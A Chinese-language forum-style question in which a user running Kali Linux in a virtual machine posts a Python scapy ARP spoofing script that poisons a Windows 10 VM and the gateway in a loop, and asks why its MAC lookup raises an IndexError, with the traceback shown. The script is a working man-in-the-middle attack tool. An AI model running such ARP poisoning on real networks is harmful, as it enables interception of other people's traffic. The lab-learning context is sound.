这是我用来获取mac地址的代码,如果我得到ip = 10.0.2.1的mac地址,它工作正常但是如果我尝试获取10.0.2.7的mac地址,它会显示我的列表索引绑定异常,但是我在虚拟机中使用kali linux,并且在IP为10.0.2.7的虚拟机中也使用了window 10。
#!/usr/bin/env python
import scapy.all as scapy
import time
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet)
while True:
spoof("10.0.2.7", "10.0.2.1")
spoof("10.0.2.1", "10.0.2.7")
time.sleep(2)
这是我在终端上得到的输出:
root@kali:~/PycharmProjects/arp_spoof# python3 arp_spoof.py
Traceback (most recent call last):
File "arp_spoof.py", line 22, in <module>
spoof("10.0.2.7", "10.0.2.1")
File "arp_spoof.py", line 16, in spoof
target_mac = get_mac(target_ip)
File "arp_spoof.py", line 12, in get_mac
return answered_list[0][1].hwsrc
File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
return self.res.__getitem__(item)
IndexError: list index out of range
root@kali:~/PycharmProjects/arp_spoof#